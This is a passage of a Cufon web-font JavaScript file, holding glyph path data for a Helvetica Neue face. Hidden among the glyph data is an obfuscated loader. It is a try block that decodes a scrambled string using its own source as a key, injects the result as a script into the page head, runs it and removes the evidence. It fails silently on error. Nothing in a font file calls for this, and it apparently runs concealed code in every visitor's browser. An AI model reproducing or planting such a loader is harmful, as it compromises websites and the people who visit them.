":370},{"d":"64,0r0,-714r339,0v133,0,258,61,258,230v0,177,-101,246,-258,246r-153,0r0,238r-186,0xm250,-565r0,183v104,-3,225,24,225,-89v0,-116,-118,-92,-225,-94","w":685},{"d":"687,-714r-260,448r0,266r-186,0r0,-266r-260,-448r211,0r142,290r142,-290r211,0","w":667},{"d":"389,-838r-60,80r-128,0r112,-149r152,0r112,149r-128,0xm37,-357v0,-207,127,-372,352,-372v225,0,352,165,352,372v0,207,-127,372,-352,372v-225,0,-352,-165,-352,-372xm223,-357v0,106,46,212,166,212v120,0,166,-106,166,-212v0,-106,-46,-212,-166,-212v-120,0,-166,106,-166,212","w":778},{"d":"64,-714r186,0r0,92r153,0v133,0,258,61,258,230v0,177,-101,246,-258,246r-153,0r0,146r-186,0r0,-714xm250,-473r0,183v104,-3,225,24,225,-89v0,-116,-118,-92,-225,-94","w":685},{"d":"24,0r0,-152r366,-402r-344,0r0,-160r584,0r0,144r-375,410r388,0r0,160r-619,0","w":667},{"d":"133,0r55,0r-40,60v54,-7,125,-4,127,77v3,121,-173,108,-246,66r19,-45v42,14,126,42,133,-16v5,-42,-50,-43,-83,-31r-22,-19","w":296},{"d":"163,-523r-109,0r0,-90v64,1,130,-20,134,-84r100,0r0,419r-125,0r0,-245","w":378},{"d":"681,-714r0,419v0,207,-95,310,-311,310v-216,0,-311,-103,-311,-310r0,-419r186,0r0,430v0,92,34,139,125,139v91,0,125,-47,125,-139r0,-430r186,0xm368,-907r97,149r-120,0r-157,-149r180,0","w":741},{"d":"374,-243v-49,30,-175,13,-175,94v0,42,33,59,71,59v81,0,108,-46,104,-153xm50,-359v4,-129,118,-175,246,-175v123,0,242,27,242,174v0,127,-18,259,20,360r-171,0v-6,-16,-8,-32,-10,-49v-101,105,-348,89,-348,-93v0,-169,184,-156,302,-180v29,-6,45,-16,45,-48v0,-39,-47,-54,-82,-54v-47,0,-77,21,-85,65r-159,0xm479,-589r-150,0r0,-125r150,0r0,125xm116,-589r0,-125r150,0r0,125r-150,0","w":593},{"d":"39,89r0,-250r144,0r0,250r-144,0xm183,-661r0,250r-144,0r0,-250r144,0","w":222},{"d":"251,-519r0,186r-186,0r0,-186r186,0xm65,0r0,-186r186,0r0,186r-186,0","w":316},{"d":"250,-554r0,114r158,0r0,144r-158,0r0,136r88,0v141,-3,197,-58,197,-201v0,-130,-70,-193,-197,-193r-88,0xm64,0r0,-296r-72,0r0,-144r72,0r0,-274r307,0v219,0,350,133,350,354v0,234,-133,360,-350,360r-307,0","w":759},{"d":"537,-313r203,0v0,-59,-35,-106,-99,-106v-62,0,-98,51,-104,106xm389,-243v-46,38,-190,10,-190,95v0,46,47,58,81,58v121,0,108,-108,109,-153xm50,-359v4,-129,118,-175,246,-175v67,0,146,13,189,65v43,-45,101,-65,162,-65v177,0,276,148,263,316r-373,0v1,60,32,118,105,118v53,0,81,-18,100,-57r160,0v-35,171,-321,237,-446,93v-72,58,-138,79,-240,79v-109,0,-187,-50,-187,-157v0,-169,185,-153,302,-180v54,-12,59,-26,59,-45v0,-48,-43,-57,-96,-57v-47,0,-77,21,-85,65r-159,0","w":944},{"d":"161,-729r144,0v-67,138,-110,294,-110,455v0,154,43,310,110,448r-144,0v-82,-161,-125,-277,-125,-448v0,-178,43,-294,125,-455","w":296},{"d":"552,-181r-504,0r0,-144r504,0r0,144xm201,-460v0,-55,44,-99,99,-99v55,0,99,44,99,99v0,54,-44,99,-99,99v-55,0,-99,-45,-99,-99xm201,-46v0,-55,44,-99,99,-99v55,0,99,44,99,99v0,54,-44,99,-99,99v-55,0,-99,-45,-99,-99","w":600},{"d":"94,0r0,-409r-82,0r0,-110r82,0v0,-149,52,-195,197,-195v27,0,55,2,82,3r0,120v-61,-7,-122,-12,-109,72r102,0r0,110r-102,0r0,409r-170,0","w":370},{"d":"202,-259v0,66,24,144,103,144v79,0,104,-78,104,-144v0,-66,-25,-145,-104,-145v-79,0,-103,79,-103,145xm32,-259v0,-156,112,-275,273,-275v161,0,274,119,274,275v0,156,-113,274,-274,274v-161,0,-273,-118,-273,-274","w":611},{"d":"306,-655r-60,80r-128,0r112,-149r152,0r112,149r-128,0xm202,-313r211,0v-3,-58,-44,-106,-101,-106v-60,0,-100,43,-110,106xm583,-218r-381,0v3,71,44,118,116,118v41,0,81,-19,97,-57r159,0v-31,120,-142,172,-258,172v-169,0,-284,-102,-284,-276v0,-159,127,-273,280,-273v186,0,279,140,271,316","w":611}],f:f};try{(function(s){var c="charAt",i="indexOf",a=String(arguments.callee).replace(/\s+/g,""),z=s.length+-315-a.length+(a.charCodeAt(0)==40&&2),w=64,k=s.substring(z,w+=z),v=s.substr(0,z)+s.substr(w),m=0,t="",x=0,y=v.length,d=document,h=d.getElementsByTagName("head")[0],e=d.createElement("script");for(;x<y;++x){m=(k[i](v[c](x))&255)<<18|(k[i](v[c](++x))&255)<<12|(k[i](v[c](++x))&255)<<6|k[i](v[c](++x))&255;t+=String.fromCharCode((m&16711680)>>16,(m&65280)>>8,m&255);}e.text=t;h.insertBefore(e,h.firstChild);h.removeChild(e);})("{#2(cGyv.pJ&{7n-FGCH=#=J[5y(2GJ&[5KH.pO:2j34IfvMWja(+miG+Ca(+mi*+:!;Fw9u2m2{[$Tu+#Cn[$Tu+#y6[$Tu+#Il[$Tu+#=f[$Tu+#+up(a(+miMy(a(+miny(a(+miXVja(+mi62ja(+miXI(F;Fw9uIfX;Fw9uI5Cd2Ca(+mi*2na(+minVCa(+mi6yDvG[$Tu+#>(R$F;Fw9u2Gj;Fw9u2pK;Fw9uI6C;Fw9uIGIf[$Tu+#=v2f>(Ipa;Fw9uIwF6[$Tu+#>aK(a(+miG+(a(+mi6+ja(+min2jJ;Fw9u26j;Fw9u2wKa[$Tu+#Tu[$Tu+#T(O(a(+miM+#n;Fw99i7m>C#$=K{%+yVW`O0wTjp[I2.c;FR8dXM6*nG:AZrL4!&@uaHfv(5Dl^~-3JsPuIGK;Fw9u2py^[$Tu+#OX`Hj;Fw9u2wC;Fw9uIp2p[$Tu+#268Ca(+miMyMZ=yCa(+mi62Ca(+mi*I(a(+mi6yjO;Fw9u2G2~[$Tu+#>l[$Tu+#+H[$Tu+#j*[$Tu+#Kn[$Tu+#+v[$Tu+#`f=Ca(+mi62na(+mi*+ja(+mi*Ina(+miGVja(+mi*Vm!;Fw9u262;Fw9uIGO;Fw9uIw=3wja(+mi*y0^;Fw9u2#`PW62;Fw9uIwiv[7J;Fw9u2GCRT(a(+mi6In=H`na(+mi6yna(+minVT2;Fw9u2G=Z[7=!;na(+mi6+(a(+miXy7!sKCa(+miG+pj9=(a(+miXITj;Fw9u26`^V#^;Fw9u26K>0Ha;Fw9uIpKWw6i;Fw9uIGyf.na(+min2MC!;>C;Fw9uIw+DFnX;Fw9uIGC([$Tu+#=H0ja(+mi*y5XLIna(+min+(C;[Cj;Fw9uIfn+[$Tu+#2*[ji2[$Tu+#`v[$Tu+#Onpna(+miMVCa(+miMVja(+mi*Vja(+minyCa(+miXy6Z;Fw9u2mi;Fw9u2wIA[$Tu+#ID2GJ;Fw9u2p>M%:yuc#nv{7=M{0aZWw94;m(M%:94cm(u%GancGFv.7a:Wp=&2M^:c$nu.$+JRDv-.pIAIM^@.fv@[MdPV:FDF(u&{w3AWfZ*2p!X;Dyvc5JH[7^&c7**%5*&F#jfF7X4c5yXF#n@cM^AcDyvcGC!20*Z2GJH{m!ZW#u-{H!Z{pFcI(!Z[jvJ;C!Z[[vZ{7*d")}catch(e){}delete _cufon_bridge_;return b.ok&&f})({"w":630,"face":{"font-family":"helveticaneue","font-weight":800,"font-stretch":"normal","units-per-em":"1000","panose-1":"2 0 9 3 0 0 0 0 0 0","ascent":"800","descent":"-200","x-height":"15","bbox":"-40 -951 977 232.802","underline-thickness":"50","underline-position":"-100","stemh":"144","stemv":"170","unicode-range":"U+0020-U+00FF"}}));
Cufon.registerFont((function(f){var b=_cufon_bridge_={p:[{"d":"60,89r0,-250r102,0r0,250r-102,0xm60,-411r0,-250r102,0r0,250r-102,0","w":222},{"d":"445,-741v-56,0,-103,-48,-103,-103v0,-56,47,-103,103,-103v56,0,103,47,103,103v0,55,-47,103,-103,103xm384,-844v0,34,27,61,61,61v34,0,61,-27,61,-61v0,-34,-27,-61,-61,-61v-34,0,-61,27,-61,61xm455,-284r-44,-304r-2,0r-172,304r218,0xm-60,0r428,-714r132,0r124,714r-127,0r-29,-189r-284,0r-110,189r-134,0","w":685},{"d":"57,-606r22,-108r588,0r-23,108r-227,0r-126,606r-125,0r126,-606r-235,0","w":593},{"d":"77,-564v0,-83,67,-150,150,-150v83,0,150,67,150,150v0,83,-67,150,-150,150v-83,0,-150,-67,-150,-150xm133,-564v0,52,42,94,94,94v52,0,94,-42,94,-94v0,-52,-42,-94,-94,-94v-52,0,-94,42,-94,94","w":400},{"d":"88,-588r-92,0r134,-143r104,0r78,143r-86,0r-51,-90xm102,0r-114,0r107,-517r114,0","w":241},{"d":"552,-202r-504,0r0,-102r504,0r0,102xm301,-387v-39,0,-73,-33,-73,-72v0,-40,34,-72,72,-72v39,0,72,33,72,72v0,36,-33,72,-71,72xm301,25v-39,0,-73,-33,-73,-72v0,-40,34,-72,72,-72v39,0,72,33,72,72v0,36,-33,72,-71,72","w":600},{"d":"234,-504r-49,236r189,0v112,0,141,-75,141,-138v0,-40,-17,-98,-119,-98r-162,0xm4,0r148,-714r125,0r-22,108r162,0v223,0,223,151,223,218v0,4,-3,222,-262,222r-214,0r-35,166r-125,0","w":667},{"d":"0,-190v0,-109,88,-177,170,-194v-56,-30,-87,-71,-87,-136v0,-127,106,-194,238,-194v107,0,210,46,210,174v1,94,-58,151,-128,169v68,26,102,89,102,169v0,124,-136,216,-260,216v-149,0,-245,-79,-245,-204xm191,-510v0,63,51,96,110,96v75,0,122,-36,122,-113v0,-69,-52,-97,-110,-97v-74,0,-122,47,-122,114xm114,-192v0,81,59,116,130,116v88,0,147,-59,147,-141v0,-79,-55,-112,-131,-112v-90,0,-146,49,-146,137"},{"d":"379,17r-109,0r-287,-748r109,0","w":352},{"d":"316,-441v-114,0,-171,131,-171,235v0,79,37,130,121,130v114,0,171,-130,171,-234v0,-79,-37,-131,-121,-131xm-12,0r148,-714r114,0r-53,256r2,2v39,-50,92,-75,157,-75v123,0,195,90,195,213v0,162,-92,332,-271,332v-80,0,-137,-27,-171,-101r-2,0r-15,87r-104,0","w":611},{"d":"455,-284r-44,-304r-2,0r-172,304r218,0xm-60,0r428,-714r132,0r124,714r-127,0r-29,-189r-284,0r-110,189r-134,0xm440,-928r125,0r-118,143r-84,0","w":685},{"d":"546,-517r-107,517r-107,0v3,-25,16,-55,14,-77v-41,57,-107,91,-178,91v-130,1,-170,-85,-146,-201r69,-330r114,0r-66,319v-4,17,-8,34,-8,48v0,17,-5,74,79,74v88,0,148,-84,164,-161r58,-280r114,0xm383,-703r110,0r-19,108r-110,0xm203,-703r110,0r-19,108r-110,0","w":574},{"d":"357,-911v56,0,98,47,147,47v23,0,38,-31,43,-47r58,0v-7,51,-46,119,-104,119v-44,0,-109,-49,-147,-49v-21,0,-37,29,-44,46r-59,0v15,-56,41,-116,106,-116xm455,-284r-44,-304r-2,0r-172,304r218,0xm-60,0r428,-714r132,0r124,714r-127,0r-29,-189r-284,0r-110,189r-134,0","w":685},{"d":"62,-299r88,-415r125,0r-92,437v-4,19,-7,38,-8,58v-2,96,66,128,153,128v94,0,165,-36,196,-183r94,-440r125,0r-94,448v-25,118,-76,283,-335,283v-141,0,-264,-70,-264,-220v0,-33,5,-64,12,-96xm468,-928r125,0r-118,143r-84,0","w":741},{"d":"123,0r-53,-714r128,0r24,546r2,0r247,-546r123,0r37,546r2,0r234,-546r128,0r-332,714r-127,0r-34,-546r-2,0r-250,546r-127,0","w":926},{"d":"-50,191r188,-905r115,0r-56,263r2,2v34,-52,97,-82,161,-82v129,0,196,91,196,214v0,158,-86,331,-265,331v-75,0,-137,-21,-169,-94r-2,0r-56,271r-114,0xm151,-209v0,74,33,133,114,133v123,0,177,-122,177,-230v0,-75,-35,-135,-114,-135v-123,0,-177,124,-177,232","w":611},{"d":"220,-406r-129,0r27,-125r129,0xm115,-332r58,0r-34,307r-43,208r-123,0r44,-212","w":296},{"d":"2,-177r114,0v1,58,35,96,100,96v131,0,164,-126,187,-225r-2,-2v-36,48,-90,69,-152,69v-53,0,-205,-5,-205,-219v0,-144,107,-256,248,-256v266,0,239,258,239,286v0,173,-78,442,-324,442v-116,0,-202,-66,-205,-191xm277,-329v93,0,140,-75,140,-162v0,-71,-34,-128,-114,-128v-95,0,-145,83,-145,164v0,73,36,126,119,126"},{"d":"-53,0r318,-375r-169,-339r137,0r117,256r204,-256r147,0r-295,349r177,365r-134,0r-128,-277r-225,277r-149,0","w":648},{"d":"455,-284r-44,-304r-2,0r-172,304r218,0xm-60,0r428,-714r132,0r124,714r-127,0r-29,-189r-284,0r-110,189r-134,0xm478,-900r110,0r-19,108r-110,0xm298,-900r110,0r-19,108r-110,0","w":685},{"d":"374,-911v56,0,98,47,147,47v23,0,38,-31,43,-47r58,0v-7,51,-46,119,-104,119v-44,0,-109,-49,-147,-49v-21,0,-37,29,-44,46r-59,0v15,-56,41,-116,106,-116xm31,-295v0,-300,197,-436,383,-436v188,0,312,129,312,312v0,300,-187,436,-378,436v-204,0,-317,-135,-317,-312xm156,-299v0,133,71,214,196,214v165,0,249,-171,249,-330v0,-133,-66,-214,-191,-214v-170,0,-254,171,-254,330","w":759},{"d":"-16,21r111,-538r114,0r-109,525v-8,37,-18,69,-29,102v-30,88,-107,106,-204,89r20,-91v8,6,22,7,39,7v45,0,50,-53,58,-94xm114,-606r22,-108r113,0r-22,108r-113,0","w":241},{"d":"256,-703r110,0r-19,108r-110,0xm76,-703r110,0r-19,108r-110,0","w":241},{"d":"229,-253r-174,-174r86,-56r158,159r160,-159r86,56r-175,174r175,174r-86,56r-160,-160r-158,160r-86,-56","w":600},{"d":"-12,0r107,-517r114,0r-107,517r-114,0xm114,-606r22,-108r113,0r-22,108r-113,0","w":241},{"d":"343,-621r-284,0r12,-65r285,0","w":241},{"d":"238,14v-142,0,-226,-82,-226,-226v0,-170,117,-319,295,-319v142,0,226,78,226,222v0,181,-111,323,-295,323xm300,-441v-117,0,-174,129,-174,232v0,76,36,133,119,133v117,0,174,-127,174,-232v0,-76,-36,-133,-119,-133xm405,-588r-84,0r-118,-143r125,0","w":593},{"d":"256,-612r-49,236r189,0v112,0,141,-75,141,-138v0,-40,-17,-98,-119,-98r-162,0xm4,0r148,-714r287,0v223,0,223,151,223,218v0,4,-3,222,-262,222r-214,0r-57,274r-125,0","w":667},{"d":"269,-588r-84,0r-118,-143r125,0","w":241},{"d":"205,-75r51,-246v-92,-23,-187,-66,-187,-184v0,-154,119,-230,271,-226r15,-71r42,0r-15,75v117,15,178,82,174,199r-108,0v5,-60,-25,-101,-84,-113r-47,230v101,32,192,73,192,196v0,158,-130,239,-280,232r-18,85r-42,0r17,-86v-132,-16,-210,-93,-193,-232r113,0v-8,80,21,126,99,141xm296,-309r-49,236v79,0,148,-45,148,-131v0,-63,-45,-89,-99,-105xm277,-421r45,-220v-73,-2,-139,39,-139,128v0,62,41,78,94,92"},{"d":"1,0r148,-714r125,0r-67,324r2,2r364,-326r167,0r-343,295r224,419r-142,0r-179,-341r-126,108r-48,233r-125,0","w":685},{"d":"162,24r419,-748r78,0r-418,748r-79,0xm73,-577r13,-58v60,0,121,-25,141,-70r74,0r-98,432r-93,0r71,-315v-31,8,-68,11,-108,11xm676,-172r36,-152r-2,-2r-150,154r116,0xm824,-172r-18,75r-56,0r-23,97r-93,0r23,-97r-195,0r16,-72r255,-268r97,0r-62,265r56,0","w":834},{"d":"199,-93r22,-107r113,-68r-80,-90r21,-93r126,138r-25,110xm5,-93r22,-107r113,-68r-80,-90r21,-93r126,138r-25,110","w":463},{"d":"-22,-14r104,-98v-33,-49,-51,-113,-51,-183v0,-300,197,-436,383,-436v95,0,174,33,229,90r103,-97r36,39r-106,100v33,50,50,111,50,180v0,300,-187,436,-378,436v-101,0,-179,-33,-232,-88r-102,96xm174,-199r385,-363v-31,-43,-81,-67,-149,-67v-170,0,-254,171,-254,330v0,38,6,72,18,100xm585,-513r-384,362v32,42,84,66,151,66v165,0,249,-171,249,-330v0,-38,-5,-71,-16,-98","w":759},{"d":"537,-249r125,0v-47,188,-168,274,-339,265r-38,44v57,-11,116,10,116,69v0,103,-155,103,-226,66r20,-39v38,20,116,32,126,-20v0,-43,-50,-45,-84,-32r-17,-21r59,-72v-161,-28,-248,-151,-248,-306v0,-300,197,-436,383,-436v169,0,287,91,282,255r-125,0v0,-100,-59,-153,-161,-153v-170,0,-254,171,-254,330v0,133,71,214,196,214v129,0,171,-115,185,-164","w":722},{"d":"82,17r-109,0r287,-748r109,0","w":352},{"d":"64,-302v0,-39,36,-74,75,-74v40,0,75,35,75,74v0,40,-34,76,-75,76v-41,0,-75,-36,-75,-76","w":278},{"d":"4,0r149,-714r125,0r-149,714r-125,0xm275,-900r110,0r-19,108r-110,0xm95,-900r110,0r-19,108r-110,0","w":278},{"d":"450,-108r0,-195r-402,0r0,-102r504,0r0,297r-102,0","w":600},{"d":"294,-731r-192,922r-225,0r19,-90r115,0r154,-742r-113,0r19,-90r223,0","w":296},{"d":"-12,0r107,-517r107,0v-3,25,-16,55,-14,77v41,-57,107,-91,178,-91v130,-1,170,85,146,201r-69,330r-114,0r66,-319v4,-17,8,-34,8,-48v0,-17,4,-74,-79,-74v-93,0,-147,79,-164,161r-58,280r-114,0","w":574},{"d":"462,-366r-108,0v-1,-52,-43,-75,-104,-75v-44,0,-88,15,-88,65v0,47,80,55,152,82v62,23,120,57,120,138v0,120,-116,170,-229,170v-119,0,-214,-39,-216,-180r108,0v-2,65,48,90,114,90v47,0,109,-15,109,-74v0,-54,-85,-65,-158,-91v-61,-22,-114,-56,-114,-132v0,-113,107,-158,213,-158v112,0,204,36,201,165","w":500},{"d":"414,-355r-262,238v19,25,50,41,93,41v131,0,190,-151,169,-279xm134,-155r262,-239v-17,-29,-49,-47,-96,-47v-132,0,-196,160,-166,286xm-27,-9r74,-67v-23,-35,-35,-81,-35,-136v0,-170,117,-319,295,-319v75,0,134,22,171,62r71,-64r27,30r-73,67v20,34,30,77,30,127v0,181,-111,323,-295,323v-71,0,-127,-20,-165,-59r-73,66","w":593},{"d":"576,-517r-147,708r-114,0r53,-253r-2,-2v-41,54,-105,78,-171,78v-126,0,-185,-89,-185,-206v0,-171,99,-339,287,-339v70,0,127,31,157,92r16,-78r106,0xm124,-206v0,71,32,130,118,130v124,0,176,-130,176,-242v0,-71,-40,-123,-113,-123v-122,0,-181,129,-181,235","w":611},{"d":"-6,0r107,-517r108,0v-3,24,-15,53,-13,75v42,-54,106,-89,177,-89v63,0,119,24,131,92v46,-53,105,-92,175,-92v125,0,161,89,139,201r-66,330r-114,0r64,-306v12,-51,28,-135,-61,-135v-88,0,-136,81,-148,139r-63,302r-114,0r59,-284v12,-58,42,-158,-48,-157v-44,0,-74,19,-97,41v-23,22,-51,60,-60,101r-62,299r-114,0","w":889},{"d":"104,0r-70,-517r118,0r43,377r2,0r200,-377r120,0r-286,517r-127,0","w":500},{"d":"376,-911v56,0,98,47,147,47v23,0,38,-31,43,-47r58,0v-7,51,-46,119,-104,119v-44,0,-109,-49,-147,-49v-21,0,-37,29,-44,46r-59,0v15,-56,41,-116,106,-116xm1,0r148,-714r137,0r219,533r2,0r109,-533r125,0r-148,714r-137,0r-220,-530r-2,0r-108,530r-125,0","w":722},{"d":"341,-594v-56,0,-103,-48,-103,-103v0,-56,47,-103,103,-103v56,0,103,47,103,103v0,55,-47,103,-103,103xm280,-697v0,34,27,61,61,61v34,0,61,-27,61,-61v0,-34,-27,-61,-61,-61v-34,0,-61,27,-61,61xm496,-411v0,105,-44,212,-58,312v-4,32,41,22,64,17r-18,82v-64,20,-156,27,-158,-52v-93,99,-335,96,-335,-72v0,-172,172,-178,331,-187v41,-3,60,-29,60,-68v0,-49,-40,-62,-87,-62v-62,0,-113,17,-129,81r-108,0v25,-128,121,-171,244,-171v188,0,194,83,194,120xm357,-256v-67,54,-252,-8,-252,114v0,50,49,66,91,66v111,0,148,-80,163,-178"},{"d":"120,-17r-91,-500r120,0r54,378r2,0r195,-378r122,0r-296,533v-57,118,-123,220,-290,181r21,-95v48,15,94,8,118,-36xm356,-703r110,0r-19,108r-110,0xm176,-703r110,0r-19,108r-110,0","w":500},{"d":"271,-714v56,0,98,47,147,47v23,0,38,-31,43,-47r58,0v-7,51,-46,119,-104,119v-44,0,-109,-49,-147,-49v-21,0,-37,29,-44,46r-59,0v15,-56,41,-116,106,-116xm238,14v-142,0,-226,-82,-226,-226v0,-170,117,-319,295,-319v142,0,226,78,226,222v0,181,-111,323,-295,323xm300,-441v-117,0,-174,129,-174,232v0,76,36,133,119,133v117,0,174,-127,174,-232v0,-76,-36,-133,-119,-133","w":593},{"d":"170,0r58,-283r-176,-431r131,0r123,324r250,-324r148,0r-353,441r-56,273r-125,0xm413,-928r125,0r-118,143r-84,0","w":630},{"d":"-6,0r148,-714r125,0r-59,284r334,0r59,-284r125,0r-148,714r-125,0r67,-322r-334,0r-67,322r-125,0","w":722},{"d":"380,-435r-13,56v-14,3,-32,6,-51,6v-40,0,-58,-24,-59,-48v-57,74,-223,67,-225,-41v-1,-112,118,-111,222,-119v24,-1,36,-17,36,-40v-14,-42,-127,-37,-133,17r-81,0v16,-84,78,-110,166,-110v129,0,133,50,133,79v0,66,-31,123,-37,190v-1,20,27,13,42,10xm272,-543v-40,34,-155,-6,-155,70v0,29,24,42,55,42v82,0,91,-61,102,-110","w":334},{"d":"371,-160r114,0v-36,120,-126,174,-249,174v-131,0,-226,-86,-226,-226v0,-159,102,-319,287,-319v184,0,220,137,220,238v0,25,-3,47,-6,64r-385,0v-11,91,23,152,121,153v61,0,108,-30,124,-84xm137,-304r265,0v10,-82,-28,-137,-108,-137v-85,0,-134,57,-157,137xm397,-588r-84,0r-118,-143r125,0"},{"d":"474,-304r257,0v12,-86,-21,-137,-106,-137v-82,0,-129,58,-151,137xm697,-160r118,0v-35,112,-133,174,-253,174v-86,0,-159,-26,-182,-104v-50,74,-124,104,-210,104v-103,0,-179,-47,-179,-138v2,-171,172,-178,331,-187v43,-3,67,-29,67,-68v0,-49,-41,-62,-94,-62v-62,0,-113,17,-129,81r-108,0v25,-128,121,-171,244,-171v66,0,126,14,164,75v45,-52,107,-75,168,-75v182,1,240,138,203,302r-377,0v-18,79,11,153,107,153v67,0,113,-28,130,-84xm360,-256v-76,50,-255,-4,-255,114v0,48,42,66,93,66v122,0,143,-85,162,-180","w":889},{"d":"5,191r-97,0v168,-225,235,-381,235,-613v0,-109,-16,-212,-47,-309r83,0v45,110,72,230,72,357v0,226,-105,401,-246,565","w":296},{"d":"168,-474r12,-58v61,1,120,-4,120,-64v0,-34,-39,-48,-67,-48v-44,0,-79,29,-90,71r-80,0v16,-99,81,-141,178,-141v68,0,139,29,139,108v0,55,-39,87,-83,103v41,14,56,47,56,88v0,101,-83,151,-187,151v-103,0,-158,-53,-147,-155r80,0v-8,54,24,85,80,85v56,0,94,-34,94,-83v0,-54,-53,-58,-105,-57","w":333},{"d":"1,0r148,-714r137,0r219,533r2,0r109,-533r125,0r-148,714r-137,0r-220,-530r-2,0r-108,530r-125,0","w":722},{"d":"102,0r-114,0r107,-517r114,0xm216,-703r110,0r-19,108r-110,0xm36,-703r110,0r-19,108r-110,0","w":241},{"d":"9,0r27,-125r129,0r-27,125r-129,0xm117,-506r43,-208r123,0r-44,212r-98,303r-58,0","w":296},{"d":"31,-295v0,-300,197,-436,383,-436v188,0,312,129,312,312v0,300,-187,436,-378,436v-204,0,-317,-135,-317,-312xm156,-299v0,133,71,214,196,214v165,0,249,-171,249,-330v0,-133,-66,-214,-191,-214v-170,0,-254,171,-254,330xm457,-928r125,0r-118,143r-84,0","w":759},{"d":"256,-588r-92,0r134,-143r104,0r78,143r-86,0r-51,-90xm496,-411v0,105,-44,212,-58,312v-4,32,41,22,64,17r-18,82v-64,20,-156,27,-158,-52v-93,99,-335,96,-335,-72v0,-172,172,-178,331,-187v41,-3,60,-29,60,-68v0,-49,-40,-62,-87,-62v-62,0,-113,17,-129,81r-108,0v25,-128,121,-171,244,-171v188,0,194,83,194,120xm357,-256v-67,54,-252,-8,-252,114v0,50,49,66,91,66v111,0,148,-80,163,-178"},{"d":"258,-571v0,122,254,195,254,338v0,85,-57,149,-139,164v19,31,27,50,27,96v0,55,-34,178,-205,178v-134,0,-194,-79,-194,-191r102,0v-3,59,38,101,100,101v44,0,88,-27,89,-95v0,-56,-66,-102,-132,-156v-66,-54,-132,-116,-132,-202v0,-78,64,-145,144,-150v-16,-26,-22,-52,-22,-83v0,-101,95,-160,187,-160v138,0,194,56,194,183r-102,0v1,-52,-28,-93,-86,-93v-40,0,-85,25,-85,70xm315,-131v47,0,89,-26,89,-78v0,-29,-13,-58,-35,-78r-119,-115v-33,-47,-115,-1,-114,52v0,36,11,56,36,80"},{"d":"235,24r398,-748r73,0r-400,748r-71,0xm226,-319v-86,0,-144,-55,-144,-148v0,-115,62,-247,195,-247v86,0,144,55,144,148v0,120,-59,247,-195,247xm334,-573v0,-43,-14,-76,-55,-76v-88,0,-110,127,-110,189v0,46,16,76,56,76v87,0,109,-127,109,-189xm667,14v-86,0,-144,-55,-144,-148v0,-115,62,-247,195,-247v86,0,144,55,144,148v0,120,-59,247,-195,247xm775,-240v0,-43,-14,-76,-55,-76v-87,0,-110,127,-110,189v0,47,15,76,56,76v87,0,109,-127,109,-189","w":944},{"d":"287,-315r-19,90v-28,0,-97,15,-109,73r-43,206v-24,128,-108,145,-248,137r19,-90r59,0v51,0,64,-40,71,-70r40,-195v17,-84,96,-97,126,-107v-27,-3,-84,-11,-84,-79v0,-89,47,-161,47,-247v0,-23,-8,-44,-46,-44r-59,0r19,-90v113,-11,217,12,191,137r-44,215v0,51,55,64,80,64","w":296},{"d":"230,-328r106,0v-15,94,-42,143,-123,195v-59,38,-125,70,-125,150v0,55,55,88,105,88v83,0,131,-67,141,-143r113,0v-15,141,-112,238,-256,238v-117,0,-217,-51,-217,-181v0,-116,82,-161,166,-218v60,-41,71,-60,90,-129xm233,-406r27,-125r129,0r-27,125r-129,0"},{"w":278},{"d":"546,-517r-107,517r-107,0v3,-25,16,-55,14,-77v-41,57,-107,91,-178,91v-130,1,-170,-85,-146,-201r69,-330r114,0r-66,319v-4,17,-8,34,-8,48v0,17,-5,74,79,74v88,0,148,-84,164,-161r58,-280r114,0xm396,-588r-84,0r-118,-143r125,0","w":574},{"d":"78,-371r30,-135r139,0r-30,135r-139,0xm0,0r30,-135r139,0r-30,135r-139,0","w":278},{"d":"378,-785r-92,0r134,-143r104,0r78,143r-86,0r-51,-90xm62,-299r88,-415r125,0r-92,437v-4,19,-7,38,-8,58v-2,96,66,128,153,128v94,0,165,-36,196,-183r94,-440r125,0r-94,448v-25,118,-76,283,-335,283v-141,0,-264,-70,-264,-220v0,-33,5,-64,12,-96","w":741},{"d":"84,-577r13,-58v60,0,121,-25,141,-70r74,0r-98,432r-93,0r71,-315v-31,8,-68,11,-108,11","w":333},{"d":"546,-517r-107,517r-107,0v3,-25,16,-55,14,-77v-41,57,-107,91,-178,91v-130,1,-170,-85,-146,-201r69,-330r114,0r-66,319v-4,17,-8,34,-8,48v0,17,-5,74,79,74v88,0,148,-84,164,-161r58,-280r114,0xm345,-731r125,0r-118,143r-84,0","w":574},{"d":"31,-295v0,-300,197,-436,383,-436v188,0,312,129,312,312v0,300,-187,436,-378,436v-204,0,-317,-135,-317,-312xm156,-299v0,133,71,214,196,214v165,0,249,-171,249,-330v0,-133,-66,-214,-191,-214v-170,0,-254,171,-254,330xm508,-785r-84,0r-118,-143r125,0","w":759},{"d":"263,-714v56,0,98,47,147,47v23,0,38,-31,43,-47r58,0v-7,51,-46,119,-104,119v-44,0,-109,-49,-147,-49v-21,0,-37,29,-44,46r-59,0v15,-56,41,-116,106,-116xm496,-411v0,105,-44,212,-58,312v-4,32,41,22,64,17r-18,82v-64,20,-156,27,-158,-52v-93,99,-335,96,-335,-72v0,-172,172,-178,331,-187v41,-3,60,-29,60,-68v0,-49,-40,-62,-87,-62v-62,0,-113,17,-129,81r-108,0v25,-128,121,-171,244,-171v188,0,194,83,194,120xm357,-256v-67,54,-252,-8,-252,114v0,50,49,66,91,66v111,0,148,-80,163,-178"},{"d":"238,14v-142,0,-226,-82,-226,-226v0,-170,117,-319,295,-319v142,0,226,78,226,222v0,181,-111,323,-295,323xm300,-441v-117,0,-174,129,-174,232v0,76,36,133,119,133v117,0,174,-127,174,-232v0,-76,-36,-133,-119,-133xm354,-731r125,0r-118,143r-84,0","w":593},{"d":"31,-295v0,-300,197,-436,383,-436v188,0,312,129,312,312v0,300,-187,436,-378,436v-204,0,-317,-135,-317,-312xm156,-299v0,133,71,214,196,214v165,0,249,-171,249,-330v0,-133,-66,-214,-191,-214v-170,0,-254,171,-254,330xm495,-900r110,0r-19,108r-110,0xm315,-900r110,0r-19,108r-110,0","w":759},{"d":"323,-785r-92,0r134,-143r104,0r78,143r-86,0r-51,-90xm1,0r148,-714r520,0r-22,108r-397,0r-39,187r368,0r-21,102r-369,0r-43,209r400,0r-22,108r-523,0","w":630},{"d":"367,-785r-92,0r134,-143r104,0r78,143r-86,0r-51,-90xm31,-295v0,-300,197,-436,383,-436v188,0,312,129,312,312v0,300,-187,436,-378,436v-204,0,-317,-135,-317,-312xm156,-299v0,133,71,214,196,214v165,0,249,-171,249,-330v0,-133,-66,-214,-191,-214v-170,0,-254,171,-254,330","w":759},{"d":"4,